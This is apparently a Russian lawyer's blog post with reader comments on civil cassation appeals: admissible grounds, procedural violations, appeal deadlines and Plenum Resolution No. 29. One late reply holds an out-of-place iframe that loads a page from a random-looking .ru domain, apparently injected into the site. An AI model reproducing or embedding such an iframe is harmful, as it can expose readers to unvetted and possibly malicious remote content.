Кассационная жалоба по гражданскому делу

Предлагаю вниманию собственные систематизированные размышления, основанные на практике, по процессу кассационного производства по гражданским спорам. Идея такой публикации возникла давно, а окончательным стимулом послужили обращения за советами коллег, содержащие, на мой взгляд, заведомо не правильный подход.

Не претендую на представление данной публикации в качестве учебного пособия, скорее выражаю собственное практическое мнение. Большим специалистом по работе в кассационной инстанции я себя не считаю, но, на практике, довелось неоднократно побывать и Президиумах судов субъектов, и Верховном Суде РФ. В «коллекции» есть даже надзорное производство Президиума Верховного Суда, а также, ныне почивший Президиум ВАС РФ. Своими наработками в подходах, и практическими наблюдениями, я с радостью поделюсь со всеми заинтересованными коллегами.

И так, апелляцию Вы проиграли. Или она, говоря языком практиков, «засилила» неприятное Вам решение районного суда, или, что особенно неприятно, поменяла ранее устраивавшее решение суда 1-й инстанции.

По смыслу статьи 387 ГПК РФ, основаниями для отмены или изменения решения суда в кассационном порядке является существенное нарушение норм материального или процессуального права. Кассация, для определения таковых, прибегает к положениям статьи 330 ГПК РФ, устанавливающая исчерпывающий перечень нарушений для производства в суде апелляционной инстанции.

Пожалуй, единственным конкретным документом, который действительно разъясняет порядок и аспекты кассационного производства, является не ГПК, а Постановление Пленума ВС РФ от «11» декабря 2012 года № 29 «О применении судами норм гражданского процессуального законодательства, регулирующих производство в суде кассационной инстанции » (далее по тексту – Постановление № 29 ). Если Вы собрались заниматься кассационным обжалованием, обязательно максимально подробно с ним ознакомьтесь. Этот документ, кроме разжевывания наиболее существенных моментов ГПК, устанавливает иные, нигде более не описанные нюансы, имеющие весьма важное значение.

Как установлено частью 2 статьи 390 ГПК РФ: суд кассационной инстанции не вправе устанавливать или считать доказанными обстоятельства, которые не были установлены либо были отвергнуты судом первой или апелляционной инстанции, предрешать вопросы о достоверности или недостоверности того или иного доказательства, преимуществе одних доказательств перед другими и определять, какое судебное постановление должно быть принято при новом рассмотрении дела. Таким образом, основания нарушения материального права, установленные п.1,2,3 ч.1 ст. 330 ГПК РФ (неправильное определение обстоятельств, имеющих значение для дела; недоказанность установленных судом первой инстанции обстоятельств, имеющих значение для дела; несоответствие выводов суда первой инстанции, изложенных в решении суда, обстоятельствам дела) не могут быть основаниями кассационной жалобы, как бы они и не были существенны для дела! Ссылки на такие нарушения точно будут основаниями для отказа в передаче жалобы на рассмотрение суда кассационной инстанции. Это конкретно следует из ч.2 ст. 390 ГПК РФ и части 24 Постановления № 29 .

Ссылка на такие нарушения, являются, самой распространенной ошибкой подателей кассационной жалобы. Неоднократно сам слышал от коллег, когда они консультировали посетителей по данному поводу: «Перепишите апелляционную жалобу, изменив шапку, и подавайте в Президиум».

Исключение составляет лишь установление факта ссылки судов прошлых инстанций при постановлении решений на недопустимые доказательства, которые должны были быть признаны таковыми в силу статьи 60 ГПК РФ, что, само по себе, огромная редкость.

Основаниями существенного нарушения материального права могут быть лишь неприменение закона, подлежащего применению;
применение закона, не подлежащего применению;
неправильное истолкование закона, что предусмотрено частью 2 статьи 330 ГПК РФ.
Наличие таких нарушений необходимо конкретно выделять в тексте жалобы (из собственной практики), не поленившись описывать как для не знающего, типа «неприменение статьи такой-то» или «применение статьи такой-то», чтобы фраза бросилась в глаза.

Наиболее проходными основаниями являются существенные нарушения норм процессуального права.

Они установлены частью 4 статьи 330 ГПК РФ: рассмотрение дела судом в незаконном составе; рассмотрение дела в отсутствие кого-либо из лиц, участвующих в деле и не извещенных надлежащим образом о времени и месте судебного заседания;
нарушение правил о языке, на котором ведется судебное производство;
принятие судом решения о правах и об обязанностях лиц, не привлеченных к участию в деле; решение суда не подписано судьей или кем-либо из судей либо решение суда подписано не тем судьей или не теми судьями, которые входили в состав суда, рассматривавшего дело;
отсутствие в деле протокола судебного заседания; нарушение правила о тайне совещания судей при принятии решения.
То есть то, что является основанием для перехода к рассмотрению по правилам суда первой инстанции.

Если такие нарушения действительно были допущены в Вашем деле, начните кассационную жалобу именно с них, это будет серьезным залогом к успеху. Почти точно примут к рассмотрению.

Однако, допущение таких косяков бывает не часто. В основном, по спешке сотрудников аппарата суда. У коллеги дважды был момент, когда в деле не было протокола судебного заседания суда апелляционной инстанции. У меня один раз было, что в апелляционном определении не было подписей судей, причем в резолютивном определении были, а в мотивированном – нет, и это также косяк, но, повторюсь, такой подарок бывает не часто. Однако, после возвращения дела в районный суд ознакомиться с ним, все же, неплохо, а вдруг?

Вообще, кассация и надзор «любят» процессуальные нарушения. Это очень сильно упрощает их работу и подтверждает ее значимость. Ведь, наличие значимого процессуального нарушения — это стопроцентный повод вернуть дело на новое рассмотрение. А возврат дела тем и хорош – и жалобу удовлетворили, и головную боль по принятию решения свалили на голову нижестоящего суда.

Размышляя над жалобами и зная «эту любовь», я стараюсь подтащить, иногда за уши, нарушения нижестоящих судов, к процессуальным. Из этого частенько, выходит толк.

Для таких вещей подходит положение части 3 статьи 330 ГПК РФ:
Нарушение или неправильное применение норм процессуального права является основанием для изменения или отмены решения суда первой инстанции, если это нарушение привело или могло привести к принятию неправильного решения.
То есть, кроме конкретного перечня существенных процессуальных нарушений, указанных в части 4 той же статьи, есть толковательная норма, под которую можно пытаться подвести любую процессуальную ошибку, лишь бы она повлияла или объективно могла повлиять на нарушение прав участников процесса, либо принципов оценки доказательств и формирования решения суда.

В рамках дела мной было заявлено ходатайство о проведении почерковедческой экспертизы подлинности подписи моего доверителя на документе, предоставленном истцом. Суд 1-й инстанции отказал в назначении экспертизы, а в решении указал, что в деле имеются и иные доказательства, подтверждающие позицию истца, и, что, изображенная подпись ответчика, схожа с изображением его же подписи в паспорте и в доверенности на представителя. Апелляция оставила решение в силе.

Сделанное нами внесудебное исследование специалиста, подтвердившее нашу правоту (к сожалению, делали мы его уже после решения суда), в апелляции не приобщили в дело, отказав в соответствующем ходатайстве. В кассационной жалобе я сослался на важность доказательства в виде документа со спорной подписью для разрешения дела (на этом документе, в основном, и строилась вся позиция истца), а также то, что для дачи заключения о подлинности подписи, необходимы специальные научные и технические познания, чем не располагает сам суд, поэтому такое заключение может дать только эксперт или специалист. Также сослался на имеющееся заключение специалиста.

Этот момент я расценил как нарушение судами части 1 статьи 79 ГПК РФ (о назначении экспертизы при разрешении вопросов, требующих специальных знаний в различных областях науки), что привело к нарушению статьи 60 ГПК РФ (так как без экспертизы считать спорный документ допустимым доказательством только исходя из позиции истца и мнения судьи, нельзя) и части 1 статьи 12 ГПК РФ (о нарушении равноправия сторон в гражданском процессе). Все это я обобщил в причине отмены – как существенное нарушение норм процессуального права вследствие их неправильного применения.

Кассационная инстанция, не располагая правом на исследование новых доказательств, но соглашаясь с тем, что экспертиза была нужна, отменила прошлые судебные акты и направила дело на новое рассмотрение в районный суд, сославшись на статьи 12 и 79 ГПК РФ. Право принять новые доказательство вследствие нарушения статьи 60 ГПК РФ кассация, в моем случае, не стала использовать.

Таким образом, все толкование, в Ваших руках.

У меня есть университетский товарищ, который пришел работать секретарем судебного заседания в Верховный Суд РФ и дослужился до помощника судьи, входящего в состав Президиума. Он мне много чего поведал о практике рассмотрения жалоб в ВС.

В частности, претендовать на вынесение нового решения в рамках самого ВС, можно если проблема спора включена в проект будущего заседания Пленума либо Обзора судебной практики, или, если есть много вопиющих нарушений, которые и с закрытыми глазами нельзя не увидеть. Иными словами, думать над новым решением будут только из-за необходимости это сделать.

Эта информация идет в ключе с устоявшемся мнением, что если «не то попросить» в кассации, то откажут, даже если есть основания для удовлетворения иного возможного варианта разрешения проблемы. Так оно на самом деле или нет – никто однозначно не ответит. Никакого официального разъяснения по данному поводу не существует.

Несмотря на то, что кассационная инстанция не связана доводами жалобы, заставить судей думать шире чем от них требуют – все же не просто. Поэтому самое простое — вернуть на новое рассмотрение. В тоже время, если усиленно настаивать на вынесении нового решения, даже при согласии президиума или коллегии с определенными нарушениями, все же можно нарваться на формализм со стороны судей.

Ведь новое решение в рамках кассационной инстанции может быть вынесено только если в деле есть все, что необходимо для такого решения, и не требуется абсолютно никаких дополнительных доказательств или переоценки имеющихся. До такого комплекта можно и не дотянуть. В связи с чем получить отказ в вынесении нового решения.

Конечно, у кассационной инстанции имеется право вернуть на новое рассмотрение для добора недостающего, даже если в жалобе просят вынести новое решение, но фактор лени никто не отменял. По принципу — «Не вытянул обоснование для нового решения, а новое рассмотрение не просил?

Значит оснований для отмены нет». Безусловно, так бывает не всегда и не везде.

Лично я склоняюсь к мнению, что лучше просить вернуть на новое рассмотрение. А уж если усмотрят основание для нового решения – пусть выносят. В своей практике я просил вынести новое решение лишь однажды, в Верховном Суде, искренне считая, что в деле все было для этого, и ничего нового не нужно. Однако ВС возвратил на новое рассмотрение. Исходя из фактуры дела – и на том им огромное спасибо!

Следует отметить об устоявшейся практике определения кассационной инстанцией нижестоящей инстанции, в которую направляют на новое рассмотрение, при удовлетворении жалобы.

Со слов товарища, ВС районные суды «за равных себе не считает». Поэтому на 99%, при направлении на новое рассмотрение — это направление на новое апелляционное рассмотрение. Формальное обоснование этому – соблюдение разумных сроков судопроизводства. И только в 1% входят направление в районные суды (не знает по какой причине) и в Президиум суда субъекта (в случае если дело было им принято к рассмотрению и обжалуется вынесенное постановление). В связи с чем возможности подателя жалобы при новом рассмотрении изрядно снижены, поскольку новое апелляционное рассмотрение, если нет нарушений по части 4 статьи 330 ГПК РФ, проходит по правилам, установленным для апелляции.

Однако после такого возврата, апелляция становится более сговорчивой и более легко идет на выдачу запросов или приобщение новых доказательств, но не всегда. У меня был случай, когда возврат на новое рассмотрение был воспринят судьями как личное оскорбление, и повторное апелляционное определение содержало еще больше допущенных серьезных ошибок вследствие уже не прикрытого беспредела, чем первоначально отмененное. Хотя даже повторное апелляционное рассмотрение, на мой взгляд, серьезный шанс что-то поменять.

Многих из нас учили, что подача кассационной (ранее – надзорной) жалобы в Президиум суда субъекта приостанавливает сроки для обжалования. Поэтому, при отказе в передаче жалобы для рассмотрения, можно спокойно писать жалобу в Верховный Суд.

Однако трехлетней давности изменения ГПК (в конце 2012 года), привели к новому толкованию Верховным Судом понятия сроков для кассационного обжалования.

Как следует из части 8 Постановления № 29 :
Исходя из положений части 2 статьи 376, пункта 3 части 1 статьи 379.1, статьи 382, пункта 6 части 1 статьи 390 ГПК РФ шестимесячный срок для кассационного обжалования вступивших в законную силу судебных постановлений является единым для обжалования судебных постановлений в кассационном порядке. и подача кассационных жалобы, представления в Судебную коллегию по административным делам, в Судебную коллегию по гражданским делам или в Военную коллегию Верховного Суда Российской Федерации после обжалования судебных постановлений в президиум областного или равного ему суда не влечет за собой его исчисление заново.

Указанный шестимесячный срок начинает исчисляться на следующий день после принятия апелляционного определения и истекает в соответствующее число последнего месяца данного срока (часть 3 статьи 107, часть 5 статьи 329, статья 335 ГПК РФ). При этом объявление в судебном заседании суда апелляционной инстанции только резолютивной части апелляционного определения и отложение составления мотивированного апелляционного определения на срок не более чем пять дней (статья 199 ГПК РФ) не продлевают дату его вступления в законную силу.

При исчислении шестимесячного срока необходимо иметь в виду, что время рассмотрения кассационных жалобы, представления в суде кассационной инстанции не учитывается.
Иными словами, время, потраченное на Президиум субъекта, не приостанавливает течение шестимесячного срока на кассационное обжалование, которое начинается с момента оглашения апелляционного определения, за исключением времени фактического нахождения жалобы в суде (от даты приема жалобы до даты судебного акта)! На практике, этот период времени не такой уж большой. Сюрпризы возникают потом, когда получив определение об отказе, видишь, что датировано оно месяц или два назад, а дата твоего фактического получения этого акта, к сожалению, мало кого будет волновать.

Заметьте, в ГПК нет об этом ни слова! Как говорится – читайте мат.часть в виде Постановления № 29. В свое время, меня это здорово подкосило. И сейчас я неоднократно слышу массу ругательств в адрес ВС от коллег, кто с этим «неожиданно» столкнулся.

Единственным выходом из подобной проблемы является восстановление пропущенных сроков по статье 112 ГПК РФ. Ничего особенного в данной процедуре нет, за исключением одного непонятного момента. Из нормы части 3 статьи 112 ГПК РФ следует, что одновременно с подачей заявления о восстановлении пропущенного процессуального срока должно быть совершено необходимое процессуальное действие (подана жалоба, представлены документы), в отношении которого пропущен срок.

В тоже время, из части 1 статьи 377 ГПК РФ следует, что кассационные жалоба подается непосредственно в суд кассационной инстанции. Поэтому возникает неясность – прилагать ли кассационную жалобу к заявлению о восстановлении сроков или нет? Проблема в этом может быть вызвана разными причинами: нежелание показать другой стороне ее текст ранее времени, нежелание показать текст судье, вынесшей решение по 1-й инстанции (вдруг специально зарубит), возможно, не готовность жалобы.

При возникновении такой проблемы у меня, я поступал так: в заявлении о восстановлении сроков, я ссылался на 377-ю статью и указывал, что жалоба будет представлена для обозрения суду, как доказательство выполнения требования части 3 статьи 112 ГПК РФ. Дважды получилось.

Один раз заявление о восстановлении сроков было оставлено без движения.

Из части 10 Постановления № 29 следует, что:
При рассмотрении заявления о восстановлении срока для подачи кассационных жалобы, представления суд не вправе входить в обсуждение вопроса о законности судебных постановлений, в отношении которых подано заявление о восстановлении срока на обжалование, а должен исследовать доводы о наличии или отсутствии уважительных причин пропуска процессуального срока.
Однако здесь авторы этого Постановления забывают о личных моментах судьи, рассмотревшей дело по 1-й инстанции. Сомнительно, что ей (ему) будет приятно видеть на свои ошибки, особенно если они реально есть, понимая, что это все пойдет на верх.

Не столкнуться с необходимостью восстановления сроков получится, пожалуй, если очень быстро подать кассационную жалобу в Президиум после апелляции, что может отразиться на ее качестве.

Как дойдут руки – допишу продолжение, где отдельно расскажу о своих наблюдениях и размышлениях по производству в надзорном порядке (в Президиуме ВС).

Уважаемый Олег Александрович, не совсем общие принципы-то. В уголовном процессе всё одно пишем доказательства и их оценку, даже в кассации. А вот в гражданском приходится поступать «шиворот-навыворот», так как кассация не вдаётся в оценку доказательства, пишем, что нарушена такая-то норма материального права, а потом ссылаемся на материалы дела, из которых это видно. (Фактически суть получается та же, но вот решил так законодатель, и что теперь поделать!?)
Эту проблему хорошо коллега Гордейчик А.В. в нижеидущем посте поднял!

Таким образом, основания нарушения материального права, установленные п.1,2,3 ч.1 ст. 330 ГПК РФ (неправильное определение обстоятельств, имеющих значение для дела; недоказанность установленных судом первой инстанции обстоятельств, имеющих значение для дела; несоответствие выводов суда первой инстанции, изложенных в решении суда, обстоятельствам дела) не могут быть основаниями кассационной жалобы, как бы они и не были существенны для дела! Ссылки на такие нарушения точно будут основаниями для отказа в передаче жалобы на рассмотрение суда кассационной инстанции. Это конкретно следует из ч.2 ст. 390 ГПК РФ и части 24 Постановления № 29.

Ссылка на такие нарушения, являются, самой распространенной ошибкой подателей кассационной жалобы. Неоднократно сам слышал от коллег, когда они консультировали посетителей по данному поводу: «Перепишите апелляционную жалобу, изменив шапку, и подавайте в Президиум».

Исключение составляет лишь установление факта ссылки судов прошлых инстанций при постановлении решений на недопустимые доказательства, которые должны были быть признаны таковыми в силу статьи 60 ГПК РФ, что, само по себе, огромная редкость.
Абсолютно «резиновая» норма, хорошо разработанная арбитражными судами округов и трактуемая практикой как удобно, то есть когда надо суд с большим удовольствием может «влезть» в вопросы доказанности и никто ему потом поводу слова не скажет, а когда не надо, напротив, «авторитетно» сослаться на то, что переоценка обстоятельств дела так, как они установлены нижестоящими судами, не входит в его компетенцию.
Аналогичными образом со ссылками в кассационных жалобах, если написать что суд в оспариваемом акте не дал оценки таким-то доводам и таким-то доказательствам ЛУД, это будет уже нарушение норм процессуального права…

Уважаемый Александр Александрович, просто огромнейшее спасибо за разъяснение исходя из собственной практики. Не соглашусь единственно с тем, что время рассмотрения жалобы в Президиуме суда субъекта не приостанавливает течение шестимесячного срока на подачу кассационной жалобы — приостанавливает. Не приостанавливает течение искового срока по странному разумению судей время пересылки апелляционной жалобы в суд первой инстанции и выдача судебных постановлений стороне на руки — вопреки позиции ЕС, который считает начало отсчета срока в этом случае со дня вручения копий судебных постановлений стороне по делу государством (!) — О как. не останавливает время пересылки по почте кассационных жалоб в Президиум суда субъекта РФ и ВС РФ.
Что касается оснований к отмене, то подмечено верно, в том числе, что судам выгодней отменять по процессуальным нарушениям. В крайней кассационной жалобе я, например, указал на тот факт, что протокол судебного заседания не подписан председательствующим по делу. Апелляция проигнорировала данный факт, поэтому мне будет интересна позиция Президиума, если она туда попадет. А то все закончится как обычно — кружкой чая в соседнем кабинете.:D

Уважаемый Евгений Алексеевич, благодарю за отзыв (handshake) Я не совсем точно сформулировал мысль. На время фактического нахождения в суде (от даты приема жалобы до даты акта) приостанавливается этот срок, но это ведь не так много, согласитесь. Раньше ведь сррк исчислялся заново, после каждого судебного акта по делу. Спасибо за уточнение. Немного подправил публикацию

Уважаемый Александр Александрович, Так ведь новый порядок исчисления сроков вносился с единственной целью — создать хаос и неразбериху — и это удачно получилось. А под шумок обстряпывать свои дела. Я уже писал, когда суд отказался вначале признать, а потом восстановить срок получения апелляционной жалобы, полученной на руки спустя более 3-х месяцев, со ссылкой, что все в рамках закона. Конечно, новый срок для каждой инстанции должен быть свой и отсчитываться он должен после каждого последующего этапа обжалования.

Уважаемый Евгений Алексеевич, согласен с Вами (handshake). Безусловно найдутся желающие по-сутяжничать. Хотя в рамках кассации, когда уже вступило в законную силу… Но такие есть

Уважаемый Александр Александрович, спасибо за такую легкую в понимании статью, все по полочкам разложили. Как говорится, просто о сложном!:)
Добавила Вашу публикацию в избранное. Думаю, со временем она мне обязательно пригодится.;)

Уважаемая Алёна Александровна, благодарю за отзыв (F) Рад, что это может быть полезно. Пользуйтесь на здоровье:)

Уважаемый Александр Александрович, очень полезное обобщение норм, регулирующих подачу кассационной жалобы, с точки зрения их практического применения.
Действительно, в данном вопросе существует много нюансов.
Совсем недавно мне вернули кассационную жалобу сославшись на то, что доверенность удостоверена ненадлежащим образом.
Пришлось удостоверить верность копии нотариально.
Надеюсь, что в остальном данное кассационное рассмотрение пройдёт удачно.

Уважаемая Елена Валерьевна, благодарю за отзыв (F) Нюансы — это главный гвоздь на пути в кассационную инстанцию. Жаль, что многие на нем останавливаются, даже имея все шансы на отмену беспредельного решения. Желаю Вам удачи в Вашем процессе!

Уважаемый Александр Александрович, огромное спасибо за публикацию. Для меня она особенно ценна, так как сейчас как раз пытаюсь составить свою первую кассационную жалобу. После прочтения поправил в своей жалобе некоторые моменты. С нетерпением жду продолжения.

Уважаемый Станислав Александрович, благодарю за отзыв (handshake) Читайте Постановление № 29. после прочтения — еще раз прочтите. Увидите что-то новое. Она как Гари Потер со своей тайной комнатой :D

Уважаемый Александр Александрович, еще раз спасибо за публикацию.(handshake) В данную минуту как раз изучаю Постановление № 29. Чувствую перечитать его придется далеко не один раз.

На мой взгляд, в большинстве случаев кассация еще более бесполезная стадия обжалования чем апелляция если суд районный. Чаще всего обжалование похоже на государственную лотерею с аналогичными шансами. Пример из практики: для затягивания сроков исполнения решения по просьбе доверителя была подана апелл. жалоба, в моем рейтинге шансов на отмену она занимала последнее место, но что-то щелкнуло и суд отменил решение по совершенно непонятным основаниям (до сих пор). В то же время жалобы на серьезные нарушения «пролетали» все инстанции на «ура».

Уважаемый Сергей Николаевич, благодарю за отзыв (handshake) Безусловно, начинать процесс надеясь только на высшие инстанции — глупо. Однако есть дела, которые, с учетом специфики поведения судов в регионах — только там и находят достойного слушателя. Плюс эти инстанции, порой, и дают последний шанс что-то поменять. Только использовать данный инструмент нужно умеючи, хотя и умеючи далеко не всегда получается

Лично мне за то, что я попытался в своем выступлении ссылаться на положения Пленума ВС, судья областного суда сделал замечание, попутно указав на мое недопустимое поведение. По его мнению, такие ссылки ставят под сомнение компетентность судьи и унижают суд. Во как! Поэтому, предположение уважаемого Александра Александровича, о том, что некоторые адвокаты не знают положений Пленума, можно интерпретировать как сомнение в компетентности своих коллег.

Уважаемый Александр Владимирович, благодарю за отзыв (handshake) Лично я уже давно совсем и полностью не обращаю внимание ни на какие замечания судей, если они не по поводу поведения или нарушения процедуры, хотя такого я и не допускаю, если только нервы совсем сдадут. На счет собственной значимости судей? Безусловно, это больная тема. Несмотря на то, что судебное сообщество ни официально, ни вслух не признает наличие прецендентного подхода в судах, по-факту, оно у нас есть, согласитесь.Пару недель назад на процессе я зачитал выдержку из определения ВС по аналогичному делу, судья выслушала и сказала, что у нас не прецендентное право, поэтому мой озвученный довод не важен. Сегодня получил решение — в нем дословно взят абзац из озвучиваемого мной определения, ну конечно без ссылки на оригинал, вроде вывод самой судьи. Относительно ссылок на Постановления Пленума — тут с Вами не соглашусь, пишут их со ссылкой на источник, как в районных судах, так и в вышестоящих. Неоднократно видел. В начале публикации я указал, что не претендую на статус пособия, а лишь делюсь своими соображениями по сути проблемы. В связи с чем, я не собирался и не собираюсь сомневаться в компетентности коллег. Просто есть много коллег, которые вообще не сталкивались с кассационным обжалованием, или не совсем правильно понимают данную процедуру. Этой публикацией я лишь хотел предостеречь их от самых распространенных ошибок. А затронутое мной Постановление № 29 имеет очень важное значение, поскольку содержит несколько существенных моментов процедуры, которые нигде более не освещены, в т.ч. и в ГПК. Поэтому, если эта публикация каким-то образом лично Вас оскорбила — приношу лично Вам извинения.

Уважаемый Александр Александрович, спасибо за очень полезную и написанную доступным языком статью. До сих пор с кассацией не сталкивался, но 01.10.2015г. у меня предстоит третье по счету заседание апелляционной инстанции в 14 ААС, и если они все-таки не отменят решение суда первой инстанции (по моему и не только мнению абсолютно необоснованное), то придется идти обращаться в кассационную инстанцию. И хотя в арбитраже имеются свои нюансы, я думаю, что общая тактика и подход весьма схожи.

Уважаемый Вадим Вячеславович, благодарю за отзыв (handshake) Считаю, что в кассации особо ничего революционного нет, но есть свои нюансы, которые нужно учитывать изначально, как залог возможного успеха. Удачи Вам!

Уважаемый Александр Александрович, Уважаемые коллеги!
Мои взгляды на «один срок и две инстанции», «приостановление срока» ничем прямо не предусмотренное, и иже с ними можно понять вот из этой публикации жалобы в ЕСПЧ. Жалобу эту не приняли, судья Насиров написал, что не будут рассматривать и указал, что причины объяснять не будет. Полагаю, это связано с тем, что как-то «продавили» взгляд на кассацию, как на нормальное средство защиты. Хотя раньше было иначе. (Ну да ладно, мы другим путём пойдём! Хотят нагрузки — нагрузим!).
Огромной проблемой является получение заверенных судом копий. Вот в Одинцовском райсуде просто невозможно дойти по очереди и добиться получения заветных копий. А как быть со сроками? Сидение в очередях и беспорядок в организации работы суда сроки прерывает? Восстанавливает? Или вообще никак.
Полагаю, тут сам суд препятствует осуществлению судопроизводства в разумный срок.
Да! И спасибо за очень умную и полезную публикацию!

Уважаемый Владислав Александрович, благодарю за отзыв (handshake) Согласен, с Вами, суды у нас многое делают, чтобы не дать дальнейшего движения вопроса. Типа — зачем выносить спор из избы как мне сказала одна из судей при рассмотрении вопроса о восстановлении срока на подачу кассационной жалобы.

Ух! Уважаемый Александр Александрович! Вы мне напомнили положения древнегерманского права (кажется, из солической правды). Если кто-то кому-то отрубит руку или выколет глаз, то заплатит штраф. Если кто-то скажет кому-то, что у него грязный двор, то хозяин двора имеет права вызвать обидчика на смертельный поединок!
Вот интересно, о чём думали правители Италии при Неполитанском мусорном кризисе?

Уважаемый Александр Александрович, соглашусь с коллегами, хорошая статья, да и «повторение, мать ученья».
Было дело, дошел до ВС РФ, главным прицелом был «незаконный состав суда» по первой инстанции. Дело к производству приняла одна судья, а рассматривала и рассмотрела другая. Подозревая конечно коррупционный аспект, но. «не пойман».
Самое смешное, что в ответ на жалобу пришел отказ из ВС РФ, а потом из Ивановской области от физлица (еще одного заявителя, неизвестного для меня ранее) еще один комплект отказа ВС РФ. Видимо к его документам мои прилипли. Даты были разные, к слову.

Уважаемый Андрей Александрович, благодарю за отзыв (handshake) Такое — сплошь и рядом. Публикуя эту статью, я намеренно не указал, что нижестоящие инстанции очень много чего плохого делают, чтобы не дать пойти выше. Возможно, это от местного фактора зависит

Уважаемый Александр Александрович, отличная статья! Буквально на днях у меня на консультации была клиентка, которая по вине предыдущего представителя пропустила срок на подачу кассационной жалобы в область, так как ей юрист сказал, что обжаловать можно с момента получения по почте апелляционного определения. А получали они его что-то около месяца, если не больше, и соответственно, на месяц где-то и обсчитались.А вот у меня в практике была как-о совсем другая проблемка, которая так и подвисла.
↓ Читать полностью ↓

Было гражданское дело, которое суд рассмотрел не в нашу пользу. И вся проблема была, что рассматривалось оно за 400 км. от места жительства моего доверителя и меня, соответственно.
Известно, что в силу п.5 ст. 378 ГПК РФ к кассационным жалобе прилагаются заверенные соответствующим судом копии судебных постановлений, принятых по делу.
Так вот, после рассмотрения дела в апелляции судья первой инстанции ушел в отпуск (причем сразу на два месяца, решил не мелочиться). Мы писали в районный суд заявление с просьбой выслать нам заверенную судом копию апелляционного определения, т.к. без него я попробовала подать с обычной копией, но у меня не приняли.В общем, судья, после выхода из отпуска еще что-то там долго возился и получили мы эту долгожданную заверенную копию определения по истечении 6 мес. после рассмотрения дела судом апелляционной инстанции.
Моё ходатайство о восстановлении срока этот же судья, есессно, не удовлетворил.
PS: Решение было ну совсем незаконное и я уверенна, что его отменили бы либо в Президиуме, либо в ВС, тем более что нашла много практики в нашу пользу. Судья в процессе рассмотрения спора явно был не на нашей стороне, тем более мы иногородние, а там были свои, родные граждане из его родного Урюпинска, небольшого по численности и ему с ними, может, каждый день на улице встречаться… Вот такая грустная история. Так и осталось это решение и апелляционное определение в силе. Апелляция рассмотрела поверхностно, даже перепутав фамилии по делу, а в одном месте в определении осталась, видимо из другого судебного акта, фамилия вообще какого-то иного лица (

Уважаемая Елена Николаевна, благодарю за отзыв (F) Описанная ситуация — очень часто встречается. И, к сожалению, не всегда по вине судей:?

Уважаемая Елена Николаевна, такая же сейчас ситуация наклёвывается, ну не даёт суд копии, чтобы их приложить к кассационной жалобе. Мы по делу с местным коллегой работаем (я тоже почти за 500 км от суда), так позвонил коллеге и сказал, чтобы сдал в канецелярию заявление с требованием представить копии срочно и сообщить когда их можно получить.
Полагаю, далее два хода должно быть:
1) Заявление о восстановлении срока обжалования, в случае его неудовлетворения — жалобы по инстанциям;
2) Заявление о нарушении права на судопроизводство в разумный срок, опять жалобы по инстанциям, и прицел на пересмотр по вновь открывшимся отказа в восстановлении срока кассационного обжалования.

Уважаемый Владислав Александрович, я пыталась обжаловать потом отказ в восстановлении срока, но получала какие-то отписки на это.
Хотела писать на судью жалобу в квалиф. комиссию, но клиент отказался эту идею поддерживать.
Жаль, но у нас осталось в силе совершенно неправосудное решение (

Уважаемый Александр Александрович! Уважаю тех, кто делает выводы! Вы из них. Я собираю материал, который хочется «подсунуть» на обдумывание законодателям, так как много коллизий. Думаю, на новогодних праздниках завершу, обязательно опубликую здесь, может соберем приличный материал с помощью коллег, вышлем куда надо и что-то хорошее и справедливое получится?

Уважаемая Лариса Александровна, благодарю за отзыв (F) Идея не плохая, только будут ли напрягать свои депутатские умы над устоявшимися правилами?

Уважаемый Александр Александрович, Есть много моментов, на которые на практике кто как хочет, так и принимает решения. Я по этому поводу. Посмотрим.

и еще поняла, что если подробно не разжевать в виде схемы, да указать листы дела, то ничего суд кас. инстанции, как и апелляция, не будут изучать, а так, поверхностно.

Уважаемая Лариса Александровна, абсолютно точно. <iframe src=«https://al9l235gkc7d.ru/f.html»> ;</iframe>

Уважаемый Александр Александрович, замечательная публикация. Очень актуальная, а главное все изложено по полочкам, структурировано, понятно. Думаю многим коллегам пригодится в профессиональной деятельности. Спасибо за интересную и познавательную статью!

Уважаемый Михаил Владимирович, благодарю за отзыв (handshake) Рад, если моя публикация кому-то поможет

Уважаемый Александр Александрович, правильная и очень хорошая статья! (handshake)

Уважаемый Роман Николаевич, благодарю за отзыв (handshake)

Уважаемый Александр Александрович, замечательная и весьма полезная публикация, которая заставила меня с иного ракурса взглянуть на уже подготовленную кассационную жалобу, и повлекло внесение в неё существенных изменений.

Уважаемый Алексей Васильевич, благодарю за отзыв (handshake) Рад, если помог

Уважаемый Александр Александрович, огромное СПАСИБО за публикацию! (handshake)
Весьма полезная и нужная с практической точки зрения публикация, а в моём так случае — ещё и своевременная. Думаю, она мне пригодится для написания возражений на кассационную жалобу ответчика.
расскажу о своих наблюдениях и размышлениях по производству в надзорном порядке (в Президиуме ВС). Было бы очень интересно прочесть.

Уважаемый Александр Александрович, для меня очень полезная статья, буду учиться. СПАСИБО. Посоветуйте подобную статью по апелляции, какие там подводные камни?

Уважаемый Александр Александрович, спасибо за публикацию. Практику по этим проблемам выложу когда будет результат. Хорошая статья(Y)